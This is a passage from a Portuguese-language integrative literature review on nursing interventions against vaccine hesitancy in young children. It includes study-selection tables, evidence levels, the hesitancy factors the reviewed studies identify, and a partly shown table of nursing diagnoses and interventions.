data-align="center">8.841</td><td class="has-text-align-center" data-align="center">05</td><td class="has-text-align-center" data-align="center">02</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td></tr><tr><td class="has-text-align-center" data-align="center">Intervenções de Enfermagem</td><td class="has-text-align-center" data-align="center">2.715</td><td class="has-text-align-center" data-align="center">02</td><td class="has-text-align-center" data-align="center">04</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td><td class="has-text-align-center" data-align="center">0</td></tr><tr><td class="has-text-align-center" data-align="center">TOTAL</td><td class="has-text-align-center" data-align="center">12.637</td><td class="has-text-align-center" data-align="center">08</td><td class="has-text-align-center" data-align="center">12</td><td class="has-text-align-center" data-align="center">01</td><td class="has-text-align-center" data-align="center">01</td><td class="has-text-align-center" data-align="center">02</td><td class="has-text-align-center" data-align="center">07</td><td class="has-text-align-center" data-align="center">01</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Ao buscar o descritor isolado “Vacinação Infantil”, obteve-se um total de 1.081 produções. Após aplicação dos filtros, 03 estudos foram elegíveis, dos quais 06 foram selecionados, embora nenhum deles pertença aos anos entre 2020 e 2024.</p>



<p class="wp-block-paragraph">O descritor <em>“Criança”</em>, de forma isolada, resultou em 8.841 publicações, das quais 05 foram filtradas e 02 selecionadas para a amostra. Contudo, não houve publicações dentro do recorte temporal de interesse.</p>



<p class="wp-block-paragraph">Quanto ao descritor <em>“Intervenções de Enfermagem”</em>, foram captadas 2.715 produções, com 02 filtradas e 04 selecionadas, também sem registros entre os anos de 2020 a 2024.</p>



<p class="wp-block-paragraph">Dessa forma, a busca por descritores isolados resultou em 12.637 produções identificadas, com 08 filtradas e 12 artigos selecionados, sendo 01 publicação no ano de 2020, 01 em 2021, 02 em 2022, 07 em 2023 e 01 em 2024.</p>



<p class="wp-block-paragraph">Na terceira etapa foi utilizado um instrumento de coleta de dados com o objetivo de sistematizar e organizar as informações essenciais de cada artigo selecionado na fase anterior. Esse instrumento, elaborado previamente, permitiu registrar de forma padronizada os elementos mais relevantes dos estudos analisados, como o título do artigo, os autores e o ano de publicação, o objetivo do estudo, a metodologia empregada, a população e a amostra estudadas, os principais resultados encontrados, as conclusões dos autores e a relevância da pesquisa para a temática da vacinação infantil e das intervenções de enfermagem.&nbsp;</p>



<p class="wp-block-paragraph">A aplicação desse recurso metodológico possibilitou uma leitura crítica mais aprofundada e comparativa dos artigos, promovendo maior rigor científico e facilitando a identificação de padrões, lacunas e contribuições significativas nas práticas de enfermagem voltadas à promoção da saúde pública por meio da vacinação infantil.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 02: </strong>Caracterização dos artigos que compuseram para construção desta revisão integrativa.</p>



<figure class="wp-block-table has-small-font-size"><table><tbody><tr><td class="has-text-align-center" data-align="center"><strong>Artigo</strong></td><td class="has-text-align-center" data-align="center"><strong>Autores / Ano</strong></td><td class="has-text-align-center" data-align="center"><strong>Título</strong></td><td class="has-text-align-center" data-align="center"><strong>Método</strong></td><td class="has-text-align-center" data-align="center"><strong>Resultado</strong></td></tr><tr><td class="has-text-align-center" data-align="center">A1</td><td class="has-text-align-center" data-align="center">Almeida et al., 2024</td><td class="has-text-align-center" data-align="center">O papel do enfermeiro na ampliação da adesão à vacinação infantil: uma revisão da literatura</td><td class="has-text-align-center" data-align="center">Revisão integrativa da literatura em bases científicas eletrônicas</td><td class="has-text-align-center" data-align="center">Destaca a importância dos enfermeiros na promoção da adesão à vacinação infantil e a necessidade de investimento em programas liderados por eles</td></tr><tr><td class="has-text-align-center" data-align="center">A2</td><td class="has-text-align-center" data-align="center">Morais; Quintilio, 2021</td><td class="has-text-align-center" data-align="center">Fatores que levam à baixa cobertura vacinal de crianças e o papel da enfermagem</td><td class="has-text-align-center" data-align="center">Revisão integrativa da literatura (2010 a 2020)</td><td class="has-text-align-center" data-align="center">Avalia os fatores que interferem na cobertura vacinal infantil e o papel da enfermagem</td></tr><tr><td class="has-text-align-center" data-align="center">A3</td><td class="has-text-align-center" data-align="center">Santos et al., 2023</td><td class="has-text-align-center" data-align="center">Fatores que contribuem para a hesitação e recusa vacinal no Brasil</td><td class="has-text-align-center" data-align="center">Revisão integrativa da literatura</td><td class="has-text-align-center" data-align="center">Aponta os fatores da recusa vacinal e a necessidade de ações educativas para informar a população</td></tr><tr><td class="has-text-align-center" data-align="center">A4</td><td class="has-text-align-center" data-align="center">Caldas et al., 2023</td><td class="has-text-align-center" data-align="center">Os desafios do profissional de enfermagem frente à baixa cobertura vacinal em crianças</td><td class="has-text-align-center" data-align="center">Revisão integrativa de abordagem qualitativa</td><td class="has-text-align-center" data-align="center">Aponta os desafios dos profissionais de enfermagem e o uso da educação em saúde como estratégia</td></tr><tr><td class="has-text-align-center" data-align="center">A5</td><td class="has-text-align-center" data-align="center">Santos et al., 2020</td><td class="has-text-align-center" data-align="center">Atuação do enfermeiro na hesitação e recusa vacinal</td><td class="has-text-align-center" data-align="center">Estudo bibliográfico, descritivo e exploratório (2015 a 2020)</td><td class="has-text-align-center" data-align="center">Demonstra o papel do enfermeiro no controle de doenças e na orientação sobre vacinas</td></tr><tr><td class="has-text-align-center" data-align="center">A6</td><td class="has-text-align-center" data-align="center">Silva, 2023</td><td class="has-text-align-center" data-align="center">O papel das plataformas digitais na (não) vacinação: vacina do sarampo</td><td class="has-text-align-center" data-align="center">Dissertação exploratória de abordagem qualitativa com análise de postagens do Facebook</td><td class="has-text-align-center" data-align="center">Relata o impacto das fake news na hesitação vacinal da vacina do sarampo</td></tr><tr><td class="has-text-align-center" data-align="center">A7</td><td class="has-text-align-center" data-align="center">Vieira, 2023</td><td class="has-text-align-center" data-align="center">Fatores associados à cobertura vacinal infantil no Brasil e unidades da federação</td><td class="has-text-align-center" data-align="center">Estudo ecológico, analítico, transversal e quantitativo</td><td class="has-text-align-center" data-align="center">Relata a baixa cobertura vacinal e problemas como horário de UBS, crenças e hábitos</td></tr><tr><td class="has-text-align-center" data-align="center">A8</td><td class="has-text-align-center" data-align="center">Viana et al., 2023</td><td class="has-text-align-center" data-align="center">Hesitação vacinal de pais e familiares de crianças e o controle das doenças imunopreveníveis</td><td class="has-text-align-center" data-align="center">Revisão Integrativa baseada na Prática Baseada em Evidências (PBE)</td><td class="has-text-align-center" data-align="center">Destaca o papel do profissional de saúde em levar informação e reduzir a desinformação</td></tr><tr><td class="has-text-align-center" data-align="center">A9</td><td class="has-text-align-center" data-align="center">Maciel et al., 2023</td><td class="has-text-align-center" data-align="center">Implementação da prática avançada de enfermagem no enfrentamento do atraso vacinal: um relato de experiência</td><td class="has-text-align-center" data-align="center">Relato de experiência com crianças &lt; 2 anos em ESF de MG</td><td class="has-text-align-center" data-align="center">Aponta desafios e soluções práticas de profissionais de saúde frente ao atraso vacinal</td></tr><tr><td class="has-text-align-center" data-align="center">A10</td><td class="has-text-align-center" data-align="center">Nobre et al., 2022</td><td class="has-text-align-center" data-align="center">Hesitação e recusa vacinal em países com sistemas universais de saúde: uma revisão integrativa sobre seus efeitos</td><td class="has-text-align-center" data-align="center">Revisão integrativa da literatura com análise sistemática</td><td class="has-text-align-center" data-align="center">Os artigos científicos estudados permitiram entender como se dá a recusa e a hesitação vacinal em diferentes cenários, os seus efeitos e como esses motivos estão interligados entre si</td></tr><tr><td class="has-text-align-center" data-align="center">A11</td><td class="has-text-align-center" data-align="center">Kfouri; Levi; Cunha. 2023</td><td class="has-text-align-center" data-align="center">Controvérsias em imunizações 2023</td><td class="has-text-align-center" data-align="center">Livro, 1. ed – São Paulo – Segmento Farma Editores</td><td class="has-text-align-center" data-align="center">Traz sobre a hesitação vacinal e apresenta a matriz dos determinantes da hesitação vacina modelo dos 3 Cs, onde seria a confiança, a complacência, a conveniência. E foram implementados mais 2 que seria a comunicação e o contexto sociodemográfico.</td></tr><tr><td class="has-text-align-center" data-align="center">A12</td><td class="has-text-align-center" data-align="center">LOPES et al. 2022</td><td class="has-text-align-center" data-align="center">A Influência das fakes news na adesão à vacinação e no reaparecimento de doenças erradicadas: uma revisão de literatura</td><td class="has-text-align-center" data-align="center">A metodologia é uma revisão integrativa estruturada em etapas.</td><td class="has-text-align-center" data-align="center">A revisão traz sobre como as fakes news influenciaram de forma negativa causando um grande impacto na cobertura vacinal, aumentando a hesitação vacinal e assim a reemergência de doenças erradicadas</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>A Autora (2025).</p>



<p class="wp-block-paragraph">Relacionado ao recorte temporal de 2020 a 2024, foram evidenciados 12 estudos que compuseram a presente revisão integrativa, todos escritos em língua portuguesa. A distribuição das produções ao longo dos anos revelou uma concentração significativa no ano de 2023, com um total de sete artigos publicados, seguido pelos anos de 2020 (01), 2021 (01), 2022 (02) e 2024 (01), o que demonstra uma crescente preocupação com a temática da vacinação infantil nos últimos anos, especialmente após os impactos da pandemia de COVID-19.</p>



<p class="wp-block-paragraph">As publicações analisadas foram oriundas de diferentes tipos de documentos científicos. A maioria dos estudos é composta por revisões integrativas da literatura, totalizando sete produções com essa metodologia, utilizadas para reunir e sintetizar evidências disponíveis nas bases científicas. Além disso, dois estudos apresentaram metodologias distintas: um relato de experiência, que abordou práticas desenvolvidas por profissionais da Estratégia Saúde da Família (ESF) no estado de Minas Gerais, e uma dissertação exploratória com análise qualitativa de conteúdos publicados em redes sociais, mais especificamente no Facebook. Houve ainda um estudo ecológico de abordagem quantitativa e um estudo bibliográfico, descritivo e exploratório, além da inclusão de um capítulo de livro que discute as controvérsias em imunizações e apresenta a matriz dos cinco C’s da hesitação vacinal.</p>



<p class="wp-block-paragraph">Quanto aos autores, destaca-se a presença de nomes com recorrência em pesquisas sobre vacinação e enfermagem, como Santos et al., que aparece em dois estudos (2020 e 2023), além de trabalhos relevantes publicados por Almeida et al. (2024), Morais e Quintilio (2021), Caldas et al. (2023), Silva (2023), Vieira (2023), Viana et al. (2023), Maciel et al. (2023), Nobre et al. (2022), Kfouri, Levi e Cunha (2023) e Lopes et al. (2022). Esses autores abordaram a hesitação vacinal, os desafios enfrentados pelos profissionais de enfermagem, a influência das fake news e a importância de ações educativas, evidenciando o papel estratégico da enfermagem na adesão às imunizações.</p>



<p class="wp-block-paragraph">As bases de dados utilizadas para a extração dos artigos incluíram plataformas científicas como LILACS, BDENF, MEDLINE e SciELO, permitindo uma busca ampla e diversificada, com foco em literatura científica qualificada. Embora o quadro não mencione diretamente os periódicos em que os artigos foram publicados, é possível inferir, pela natureza metodológica e pelos temas abordados, que os estudos pertencem a revistas científicas voltadas à área da saúde, com ênfase em enfermagem, saúde pública e políticas de imunização.</p>



<p class="wp-block-paragraph">Portanto, os documentos incluídos apresentam variadas metodologias, diferentes fontes de publicação e autores reconhecidos na área, fornecendo uma base sólida e multidimensional para analisar os fatores que influenciam a adesão à vacinação infantil e o papel do enfermeiro nesse contexto. A diversidade de abordagens e a qualidade metodológica dos estudos selecionados contribuíram para um panorama abrangente sobre os desafios e estratégias no enfrentamento da hesitação vacinal no Brasil.</p>



<p class="wp-block-paragraph">Na quarta etapa os artigos que foram selecionados para revisão integrativa são analisados para a verificação da autenticidade, qualidade metodológica, importância das informações e representatividade, por esta razão, construiu-se um quadro, conforme a seguir:</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 04</strong>: Validação dos artigos selecionados e os níveis de evidências.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td class="has-text-align-center" data-align="center"><strong>TÍTULO</strong></td><td class="has-text-align-center" data-align="center"><strong>OBJETIVOS</strong></td><td class="has-text-align-center" data-align="center"><strong>TIPO DE PESQUISA</strong></td><td class="has-text-align-center" data-align="center"><strong>DADOS EVIDENCIADOS</strong></td><td class="has-text-align-center" data-align="center"><strong>NÍVEL DE EVIDÊNCIA</strong></td></tr><tr><td class="has-text-align-center" data-align="center">O papel do enfermeiro na ampliação da adesão à vacinação infantil</td><td class="has-text-align-center" data-align="center">Discutir a importância do enfermeiro na adesão vacinal</td><td class="has-text-align-center" data-align="center">Revisão integrativa</td><td class="has-text-align-center" data-align="center">Reforça a atuação do enfermeiro como agente promotor da vacinação infantil</td><td class="has-text-align-center" data-align="center">V</td></tr><tr><td class="has-text-align-center" data-align="center">Fatores que levam à baixa cobertura vacinal de crianças e o papel da enfermagem</td><td class="has-text-align-center" data-align="center">Identificar causas da baixa cobertura vacinal e o papel do enfermeiro</td><td class="has-text-align-center" data-align="center">Revisão integrativa</td><td class="has-text-align-center" data-align="center">Destaca aspectos socioeconômicos e operacionais que influenciam na adesão vacinal</td><td class="has-text-align-center" data-align="center">V</td></tr><tr><td class="has-text-align-center" data-align="center">Fatores que contribuem para a hesitação e recusa vacinal no Brasil</td><td class="has-text-align-center" data-align="center">Identificar causas da recusa vacinal</td><td class="has-text-align-center" data-align="center">Revisão integrativa</td><td class="has-text-align-center" data-align="center">Mostra fatores como desinformação, medo, influência social e cultural</td><td class="has-text-align-center" data-align="center">V</td></tr><tr><td class="has-text-align-center" data-align="center">Os desafios do profissional de enfermagem frente à baixa cobertura vacinal em crianças</td><td class="has-text-align-center" data-align="center">Analisar os desafios dos profissionais de enfermagem na vacinação infantil</td><td class="has-text-align-center" data-align="center">Revisão integrativa qualitativa</td><td class="has-text-align-center" data-align="center">Destaca a necessidade de educação em saúde e envolvimento comunitário</td><td class="has-text-align-center" data-align="center">V</td></tr><tr><td class="has-text-align-center" data-align="center">Atuação do enfermeiro na hesitação e recusa vacinal</td><td class="has-text-align-center" data-align="center">Analisar a atuação do enfermeiro no enfrentamento da hesitação vacinal</td><td class="has-text-align-center" data-align="center">Estudo bibliográfico, descritivo e exploratório</td><td class="has-text-align-center" data-align="center">Reforça a importância da escuta ativa e da educação em saúde</td><td class="has-text-align-center" data-align="center">V</td></tr><tr><td class="has-text-align-center" data-align="center">O papel das plataformas digitais na (não) vacinação: vacina do sarampo</td><td class="has-text-align-center" data-align="center">Verificar o impacto das redes sociais na hesitação vacinal</td><td class="has-text-align-center" data-align="center">Estudo exploratório qualitativo com análise de postagens</td><td class="has-text-align-center" data-align="center">Demonstra o papel negativo das fake news e desinformação</td><td class="has-text-align-center" data-align="center">IV</td></tr><tr><td class="has-text-align-center" data-align="center">Fatores associados à cobertura vacinal infantil no Brasil e unidades da federação</td><td class="has-text-align-center" data-align="center">Apontar fatores regionais que influenciam na cobertura vacinal</td><td class="has-text-align-center" data-align="center">Estudo ecológico, analítico e transversal</td><td class="has-text-align-center" data-align="center">Relata problemas estruturais e culturais que afetam a vacinação</td><td class="has-text-align-center" data-align="center">IV</td></tr><tr><td class="has-text-align-center" data-align="center">Hesitação vacinal de pais e familiares de crianças e o controle das doenças imunopreveníveis</td><td class="has-text-align-center" data-align="center">Refletir sobre o papel dos profissionais frente à hesitação vacinal</td><td class="has-text-align-center" data-align="center">Revisão integrativa baseada na PBE</td><td class="has-text-align-center" data-align="center">Defende a prática baseada em evidências para combater a hesitação</td><td class="has-text-align-center" data-align="center">V</td></tr><tr><td class="has-text-align-center" data-align="center">Implementação da prática avançada de enfermagem no enfrentamento do atraso vacinal</td><td class="has-text-align-center" data-align="center">Relatar experiências práticas no combate ao atraso vacinal</td><td class="has-text-align-center" data-align="center">Relato de experiência</td><td class="has-text-align-center" data-align="center">Mostra soluções práticas adotadas por enfermeiros na ESF</td><td class="has-text-align-center" data-align="center">V</td></tr><tr><td class="has-text-align-center" data-align="center">Hesitação e recusa vacinal em países com sistemas universais de saúde</td><td class="has-text-align-center" data-align="center">Investigar efeitos da hesitação vacinal em sistemas universais</td><td class="has-text-align-center" data-align="center">Revisão integrativa com análise sistemática</td><td class="has-text-align-center" data-align="center">Evidencia impactos da hesitação em contextos internacionais</td><td class="has-text-align-center" data-align="center">V</td></tr><tr><td class="has-text-align-center" data-align="center">Controvérsias em imunizações 2023</td><td class="has-text-align-center" data-align="center">Apresentar determinantes da hesitação vacinal e soluções</td><td class="has-text-align-center" data-align="center">Livro técnico</td><td class="has-text-align-center" data-align="center">Traz o modelo dos 3Cs (confiança, complacência e conveniência), ampliado com comunicação e contexto</td><td class="has-text-align-center" data-align="center">VI</td></tr><tr><td class="has-text-align-center" data-align="center">A influência das fake news na adesão à vacinação e no reaparecimento de doenças erradicadas</td><td class="has-text-align-center" data-align="center">Discutir a influência da desinformação no aumento da hesitação vacinal</td><td class="has-text-align-center" data-align="center">Revisão integrativa</td><td class="has-text-align-center" data-align="center">Relaciona diretamente fake news com o aumento de doenças erradicadas</td><td class="has-text-align-center" data-align="center">V</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>Elaborado pela autora (2025).</p>



<p class="wp-block-paragraph">Quanto ao tipo de pesquisa, foram identificados diversos desenhos metodológicos entre os artigos selecionados, incluindo um estudo de caso, um estudo descritivo quanti-qualitativo, um estudo descritivo quantitativo de corte transversal, um estudo descritivo transversal, dois estudos qualitativos, um estudo transversal, um estudo transversal descritivo, uma pesquisa bibliográfica e uma pesquisa descritiva. Em relação ao tipo de documento, observou-se a predominância equilibrada entre cinco artigos de revisão integrativa e cinco artigos originais.</p>



<p class="wp-block-paragraph">No que diz respeito à análise dos níveis de evidência, a classificação seguiu a seguinte hierarquia: nível 1, que corresponde a evidências provenientes de meta-análises de múltiplos estudos clínicos controlados e randomizados; nível 2, referente a evidências obtidas em estudos experimentais individuais; nível 3, que abrange estudos quase-experimentais; nível 4, englobando estudos descritivos não experimentais ou com abordagem qualitativa; nível 5, que inclui relatos de caso ou relatos de experiência; e nível 6, composto por evidências baseadas em opiniões de especialistas ou comitês. Essa categorização permitiu avaliar a qualidade metodológica e a representatividade dos dados apresentados nos artigos analisados.</p>



<p class="wp-block-paragraph">Na quinta etapa, realizou-se a interpretação e discussão dos dados e resultados encontrados, todos diretamente relacionados ao objetivo de analisar as intervenções de enfermagem que contribuem para fortalecer a adesão à vacinação infantil. Os estudos selecionados foram agrupados sob a unidade temática “Intervenções de Enfermagem na Promoção da Vacinação Infantil”, que abarca as diversas abordagens, desafios e estratégias utilizadas pelos profissionais de enfermagem para ampliar a cobertura vacinal em crianças.&nbsp;</p>



<p class="wp-block-paragraph">Essa categorização permitiu uma análise integrada dos achados, destacando o papel fundamental da enfermagem na educação em saúde, no combate à hesitação vacinal, no enfrentamento das fake news, e no suporte às famílias para garantir o cumprimento do calendário vacinal, evidenciando assim a contribuição indispensável para a saúde pública.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 05</strong>: Categorização das Temáticas do Estudo</p>



<figure class="wp-block-table"><table><tbody><tr><td class="has-text-align-center" data-align="center" colspan="3"><strong>TEMÁTICAS DO ESTUDO</strong></td></tr><tr><td class="has-text-align-center" data-align="center"><strong>UNIDADE TEMÁTICA</strong></td><td class="has-text-align-center" data-align="center"><strong>CATEGORIA</strong></td><td class="has-text-align-center" data-align="center"><strong>TÍTULO</strong></td></tr><tr><td class="has-text-align-center" data-align="center" rowspan="12"><strong>Intervenções de enfermagem no enfrentamento da hesitação vacinal em crianças de até cinco anos</strong></td><td class="has-text-align-center" data-align="center" rowspan="7"><strong>1 categoria</strong><strong>Fatores que foram encontrados que podem ocasionar a hesitação vacinal.</strong></td><td class="has-text-align-center" data-align="center">Fatores que contribuem para a hesitação e recusa vacinal no Brasil</td></tr><tr><td class="has-text-align-center" data-align="center">Fatores associados à cobertura vacinal infantil no Brasil e unidades da federação</td></tr><tr><td class="has-text-align-center" data-align="center">Hesitação vacinal de pais e familiares de crianças e o controle das doenças imunopreveníveis</td></tr><tr><td class="has-text-align-center" data-align="center">Implementação da prática avançada de enfermagem no enfrentamento do atraso vacinal</td></tr><tr><td class="has-text-align-center" data-align="center">Hesitação e recusa vacinal em países com sistemas universais de saúde</td></tr><tr><td class="has-text-align-center" data-align="center">A influência das fake news na adesão à vacinação e no reaparecimento de doenças erradicadas</td></tr><tr><td class="has-text-align-center" data-align="center">Controvérsias em imunizações 2023</td></tr><tr><td class="has-text-align-center" data-align="center" rowspan="5"><strong>2 categoria</strong><strong>Diagnósticos e Intervenções de Enfermagem Frente aos Fatores Associados à Hesitação Vacinal</strong></td><td class="has-text-align-center" data-align="center">O papel do enfermeiro na ampliação da adesão à vacinação infantil</td></tr><tr><td class="has-text-align-center" data-align="center">Fatores que levam à baixa cobertura vacinal de crianças e o papel da enfermagem</td></tr><tr><td class="has-text-align-center" data-align="center">Os desafios do profissional de enfermagem frente à baixa cobertura vacinal em crianças</td></tr><tr><td class="has-text-align-center" data-align="center">Atuação do enfermeiro na hesitação e recusa vacinal</td></tr><tr><td class="has-text-align-center" data-align="center">O papel das plataformas digitais na (não) vacinação: vacina do sarampo</td></tr></tbody></table></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>A Autora (2025).</p>



<p class="wp-block-paragraph">A análise dos dados desta revisão integrativa baseou-se nos artigos selecionados, utilizando abordagens quantitativas e qualitativas para organizar e interpretar as informações. Esse processo envolveu a identificação da frequência de temas recorrentes, a descrição dos contextos estudados e a qualificação dos resultados, com o objetivo de estruturar o conteúdo em categorias temáticas relacionadas à hesitação vacinal. A organização dos dados seguiu os princípios metodológicos propostos por Souza, Silva e Carvalho (2010), permitindo uma compreensão ampla e integrada do fenômeno investigado.</p>



<p class="wp-block-paragraph">Na sexta etapa, conforme orientações metodológicas de Soares (2014), realizou-se a síntese e a integração do conhecimento extraído dos estudos. Essa fase possibilitou a consolidação das evidências científicas mais relevantes, resultando na definição das categorias analíticas finais. A partir delas, foram destacadas contribuições significativas para a prática da enfermagem, com ênfase nas estratégias adotadas para enfrentar a hesitação vacinal em crianças de até cinco anos.</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>DISCUSSÕES DOS DADOS</strong></p>



<p class="wp-block-paragraph"><strong>INTERVENÇÕES DE ENFERMAGEM NO ENFRENTAMENTO DA &nbsp; &nbsp; HESITAÇÃO VACINAL EM CRIANÇAS DE ATÉ CINCO ANOS</strong>.</p>



<p class="wp-block-paragraph"><strong>1 categoria: </strong><strong>Fatores que Influenciam a Hesitação Vacinal na População</strong></p>



<p class="wp-block-paragraph">A análise dos estudos selecionados permitiu identificar 12 fatores associados à hesitação ou recusa vacinal, sendo os mais recorrentes: fake news, movimentos antivacinas, mitos, insegurança quanto às vacinas e medo de eventos adversos.</p>



<p class="wp-block-paragraph">O fator mais citado entre os estudos foi a desinformação, amplamente disseminada pelas redes sociais, associada à proliferação de notícias falsas e à atuação de movimentos antivacinas, presentes em 10 das 12 publicações analisadas. De acordo com Caldas et al. (2023), apesar da ampla cobertura do Programa Nacional de Imunizações (PNI), a desinformação tem contribuído para a queda na adesão vacinal, especialmente entre crianças.</p>



<p class="wp-block-paragraph">Silva (2023) ressalta que muitos pais são influenciados por teorias infundadas sobre vacinas, instituições de saúde e políticas públicas. Lopes et al. (2022) reforçam que essa realidade é ainda mais crítica entre famílias em situação de vulnerabilidade social, que possuem maior dificuldade em distinguir informações confiáveis. Tais conteúdos distorcidos comprometem a tomada de decisão consciente sobre a imunização.</p>



<p class="wp-block-paragraph">Os movimentos antivacinas, embora não sejam fenômenos recentes, permanecem ativos e adaptam os discursos ao longo do tempo. Argumentos como toxicidade das vacinas, ameaças à liberdade individual ou teorias de controle populacional são exemplos citados por Kfouri, Levi e Cunha (2023). Diante desse cenário, o enfermeiro emerge como figura central, por ser, muitas vezes, o primeiro profissional a estabelecer contato com a família, deve esclarecer dúvidas e combate dos mitos com base em evidências (Morais; Quintilio, 2021).</p>



<p class="wp-block-paragraph">Outro fator relevante, apontado por oito estudos, é o medo de eventos adversos. Vieira (2023) destaca que, apesar da segurança das vacinas e da predominância de reações leves, como febre e dor local, ainda há receio quanto a efeitos mais graves. Morais e Quintilio (2020) ressaltam que a decisão de vacinar envolve emoções e incertezas, o que exige dos profissionais de saúde uma atuação acolhedora, com informações claras e acessíveis, que transmitam segurança à família. No entanto, mesmo com comprovação científica da eficácia das vacinas, mitos persistem, o que gera insegurança (Almeida, 2024).</p>



<p class="wp-block-paragraph">A percepção equivocada de que certas doenças estão erradicadas e as dúvidas quanto à eficácia das vacinas foram mencionadas em seis estudos. Morais e Quintilio (2021) observam que o sucesso das campanhas anteriores pode ter gerado uma falsa sensação de segurança. Isso leva alguns pais a questionarem a necessidade da vacinação diante da ausência visível dessas doenças. Neste contexto, o papel do enfermeiro é essencial na educação em saúde e reforço da confiança no calendário vacinal (Caldas et al., 2023).</p>



<p class="wp-block-paragraph">A falta de confiança nas vacinas, nos serviços de saúde e nos próprios profissionais também foi identificada em seis estudos. Segundo Almeida et al. (2024), a insegurança e a dúvida quanto à real necessidade da vacinação interferem diretamente na adesão. Ballalai (apud Morais, 2020) relaciona esse cenário ao modelo dos “três C’s” da hesitação vacinal: confiança, complacência e conveniência. A ausência de confiança nos profissionais ou no sistema pode levar à recusa; a complacência se manifesta quando os pais não percebem risco; e a conveniência diz respeito às dificuldades de acesso. Sato (apud Santos et al., 2023) acrescenta que a recomendação de um profissional de confiança tem impacto positivo na decisão de vacinar.</p>



<p class="wp-block-paragraph">As crenças pessoais, religiosas, culturais ou filosóficas foram outro fator destacado em seis estudos. Lopes (2022) menciona que teorias conspiratórias, como a suposta relação entre vacinas e autismo ou microcefalia, geram resistência em parte da população. Almeida (2024) complementa que muitos pais associam a vacinação a interesses políticos e econômicos das indústrias farmacêuticas, o que compromete a credibilidade do imunizante.</p>



<p class="wp-block-paragraph">A pandemia da COVID-19 também foi um ponto sensível, citado em quatro estudos. Durante esse período, houve uma queda acentuada na cobertura vacinal, agravada por fatores sociais, políticos e pelo aumento da desconfiança em relação às vacinas desenvolvidas emergencialmente. Esse cenário impactou negativamente outras campanhas vacinais, o que contribui para o ressurgimento de doenças previamente controladas, como apontado pela Organização Mundial da Saúde (OMS) e por autores como Vieira (2023).</p>



<p class="wp-block-paragraph">A falta de vacinas nas unidades de saúde apareceu como barreira em três estudos. Segundo Silva (2023), a indisponibilidade dos imunizantes prejudica a continuidade dos esquemas vacinais e desmotiva o retorno das famílias às unidades de saúde. Morais e Quintilio (2021) destacam causas operacionais como vencimento de validade, falhas de conservação ou problemas logísticos.</p>



<p class="wp-block-paragraph">As dificuldades de acesso — seja por distância, limitações financeiras ou incompatibilidade de horários — foram mencionadas em quatro estudos. Tais barreiras, conforme Vieira (2023), afetam principalmente populações mais vulneráveis, que dependem do sistema público de saúde.</p>



<p class="wp-block-paragraph">Por fim, a negligência parental e o adoecimento infantil no período agendado para a vacinação foram relatados em três estudos como fatores que dificultam a continuidade do esquema vacinal. A negligência compromete o seguimento das doses subsequentes, especialmente quando os responsáveis não compreendem a importância de manter o calendário atualizado. Já o adoecimento da criança pode levar ao adiamento ou esquecimento da imunização (Morais; Quintilio, 2020).</p>



<p class="wp-block-paragraph"><strong>2 categoria: </strong><strong>Diagnósticos e Intervenções de Enfermagem Frente aos Fatores Associados à Hesitação Vacinal</strong></p>



<p class="wp-block-paragraph">A atuação da equipe de enfermagem é essencial no enfrentamento da hesitação vacinal, especialmente pelo papel estratégico na educação em saúde e no vínculo direto com a comunidade. O enfermeiro é frequentemente o primeiro ponto de contato entre os serviços de saúde e a população, o que o torna fundamental para desconstruir mitos, esclarecer dúvidas e promover confiança no processo de imunização.</p>



<p class="wp-block-paragraph">A relação de confiança entre o profissional e a família é um fator decisivo para a adesão vacinal, sobretudo em contextos marcados por desinformação, fake news, crenças pessoais ou dificuldades de acesso aos serviços de saúde. A escuta qualificada e a comunicação baseada em evidências são ferramentas que qualificam o cuidado e fortalecem o engajamento da população.</p>



<p class="wp-block-paragraph">Além disso, cabe à enfermagem acompanhar grupos vulneráveis, identificar lacunas no calendário vacinal e propor ações educativas contínuas, tanto em espaços institucionais (como escolas e unidades básicas) quanto por meio de visitas domiciliares, campanhas de sensibilização e atendimentos individualizados. Essas ações contribuem não apenas para ampliar a cobertura vacinal, mas também para prevenir o reaparecimento de doenças imunopreveníveis.</p>



<p class="has-text-align-left wp-block-paragraph">A seguir, apresenta-se um quadro com diagnósticos e intervenções de enfermagem específicos para cada fator identificado como contribuinte para a hesitação vacinal, que possibilita uma abordagem direcionada e baseada em evidências.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 06</strong>:<strong> </strong>Diagnósticos e intervenções de enfermagem para cada fator que está relacionado a hesitação vacinal.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Fator</strong></td><td><strong>Diagnóstico de Enfermagem (NANDA-I)</strong></td><td><strong>Intervenções de Enfermagem (NIC)</strong></td></tr><tr><td><strong>Fake news, desinformação e movimento anti-vacina</strong></td><td>&#8211; Medo excessivo relacionado às barreiras de comunicação, evidenciado por informações conflitantes nas mídias sociais.<br>&#8211; Conflitos de decisão relacionados à tomada de decisão atrasada, evidenciado por fontes de informações conflitantes.</td><td>&#8211; Desenvolvimento de programa de saúde (8700) <br>&#8211; Marketing social (8750)<br>&#8211; Controle da cadeia de suprimentos (7840) <br>&#8211; Aconselhamento (5240)</td></tr><tr><td><strong>Eventos adversos/Insegurança com as vacinas</strong></td><td>Conhecimento de saúde inadequado relacionado a informações insuficientes sobre vacinação, evidenciado por conhecimentos inadequados do processo da doença e das vacinas.<br>&#8211; Medo excessivo relacionado ao estado de alerta aumentado, evidenciado por cautela diante de possíveis eventos adversos.</td><td>&#8211; Controle de imunização/vacinação (6530) – ensino aos pais sobre imunizações, reações adversas e legislação vigente.<br>&#8211; Controle de imunização/vacinação (6530) &#8211; Aconselhamento 